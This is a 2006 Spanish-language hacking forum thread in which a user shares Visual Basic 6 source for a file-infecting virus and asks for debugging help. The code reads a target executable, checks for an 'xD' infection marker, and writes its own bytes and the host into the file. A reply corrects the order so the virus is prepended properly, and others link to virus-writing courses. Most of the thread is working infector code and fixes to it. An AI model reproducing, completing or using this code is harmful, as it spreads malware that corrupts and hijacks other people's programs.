elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: ¿Eres nuevo? ¿Tienes dudas acerca del funcionamiento de la comunidad? Lee las Reglas Generales


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación General
| | |-+  .NET (C#, VB.NET, ASP)
| | | |-+  Programación Visual Basic (Moderadores: LeandroA, seba123neo)
| | | | |-+  Infección de ejecutables !¡!
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Infección de ejecutables !¡!  (Leído 1,916 veces)


Desconectado Desconectado

Mensajes: 944


en la cuna !!


Ver Perfil WWW
Infección de ejecutables !¡!
« en: 27 Junio 2006, 21:52 pm »

 :huh: buenas, pues consigo infectar el archivo pero, cuando ejecuto el file infectado, se ejecuta correctamente sin haun haberlo regenerado..pero no ejecuta mi virus, segun un tuto de override dice el: que nuestro huesped despues de infectarlo con el methodo prepender...no se ejecutara sin generarlo  :-\ OK..pero entonces como carajo..lo infecto..y luego el husped se ejecuta  :-\..claro que el virus NO se ejecuta pero el husped si..bueno tengo un lio, pongo el codigo y lo comento, y me dicen porfavor si hay algo que no entiendo, pero bueno entiendo todo lo que es la funcion de infectar,  que no hay mas codigo x el momento, es un proyecto aparte para aprender este metodo de infecion.

Código:
Private Const PV = 12288  ' contstante donde meto el peso de mi virus
Option Explicit

Private Sub Form_Load()
infect ("C:\Packman.exe")  ' infect..la funcion..pakman + ruta..esta claro
End Sub

Private Sub Timer1_Timer()
MsgBox " soy el codigo del virus"         ' un timer...que no mas es d ejemplo
Me.Caption = "soy el caption del virus"
MsgBox " soy otra parte del codigo"
Me.Caption = "yo tb ;) "
End Sub

Private Function infect(fileainfectar As String) As Boolean
Dim buffer As String  ' una variable que la vamos a usar como buffer para almasenar el peso del husped
Dim viruspv As String




Open fileainfectar For Binary Access Read As #1  ' abrimos el file a infectar el huesped para leer dedatos
buffer = Space(LOF(1))  ' en la val, buffer le decimos LOF(1) = al peso del huesped
Get #1, , buffer   'leemos en el canal uno la variable buffer
Close #1 'cerramos

If (Right(buffer, 2) <> "xD") Then ' una condicion, le añadimos a buffer en los dos últimos bytes de la app una marka viral para saber si el file esta infectao y entonces infectarlo
MsgBox "el archivo no esta markado x lo tanto no esta infectado, vamos a infectarlo ;)"

Open App.Path & "\" & App.EXEName & ".exe" For Binary Access Read As #2  ' nos abrimos a nosotros mismo ( al virus en el canal2 )
viruspv = Space(PV)  ' en viruspv ( peso del virus ) metemos PV la constante k tiene todo nuestro peso
Get #2, , viruspv  'leemos los datos de la val, viruspv
Close #2 'ceramos


Open fileainfectar For Binary Access Write As #3  'abrimos el huesped para infectarlo, "Write" para escribir ene l una serie d datos
Put #3, , buffer  ' ponemos/ecsribimos los datos de la val, buffer
Put #3, , viruspv  ' lo mismo con el peso del virus
Put #3, , "xD"  ' y la marka de infecion
Close #3  'cerramos

Else ' un else--.--
MsgBox " el file que queremos infectar tiene nuestra MARKA...esta infectado, provemos con otro ;)"

End If

End Function


« Última modificación: 27 Junio 2006, 21:56 pm por BytesSs.xD » En línea

el tiempo pondrá a cada uno en su lugar
Robokop


Desconectado Desconectado

Mensajes: 1.660



Ver Perfil
Re: Infección de ejecutables !¡!
« Respuesta #1 en: 28 Junio 2006, 00:32 am »

Código:
Open fileainfectar For Binary Access Write As #3  'abrimos el huesped para infectarlo, "Write" para escribir ene l una serie d datos
Put #3, , buffer  ' ponemos/ecsribimos los datos de la val, buffer
Put #3, , viruspv  ' lo mismo con el peso del virus
Put #3, , "xD"  ' y la marka de infecion
Close #3  'cerramos
es alreves primero pones el source del virus y luego el buffer......


En línea

~~
Ex-Staff
*
Desconectado Desconectado

Mensajes: 2.981


Ver Perfil WWW
Re: Infección de ejecutables !¡!
« Respuesta #2 en: 2 Julio 2006, 01:14 am »

Hola AililiA.

Citar
segun un tuto de override dice el: que nuestro huesped despues de infectarlo con el methodo prepender...no se ejecutara sin generarlo 

Te importariaponerellink del tuto??? Es q me interesa el tema...

1 Saludo y gracias  :P
En línea

<--v1c1ous-->


Desconectado Desconectado

Mensajes: 776


¡Operadora! ¡Deme el número para el 911! - Homero


Ver Perfil WWW
Re: Infección de ejecutables !¡!
« Respuesta #3 en: 2 Julio 2006, 20:56 pm »

.:Infección de ejecutables en VB.Net:.
http://foro.elhacker.net/index.php/topic,125970.0.html

Taller de Virus en Visual Basic 6 - Temario.
http://foro.elhacker.net/index.php/topic,79326.0.html

Curso/Taller de Virus en Visual Basic 6 - release
http://foro.elhacker.net/index.php/topic,107763.0.html
En línea


~~
Ex-Staff
*
Desconectado Desconectado

Mensajes: 2.981


Ver Perfil WWW
Re: Infección de ejecutables !¡!
« Respuesta #4 en: 4 Julio 2006, 13:31 pm »

Hola

Muxas gracias por los vínculos hotmail_pop3, unos cursos realmente wenos (recomiendo encarecidamente el último, excelente  ;) )

Gracias de nuevo, 1saludo
En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
[Tutorial]Relocaciones en ejecutables
Análisis y Diseño de Malware
The Swash 1 2,222 Último mensaje 5 Junio 2011, 14:57 pm
por Flamer
programas auto ejecutables
Software
lan854 1 2,280 Último mensaje 11 Mayo 2012, 10:16 am
por Eleкtro
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines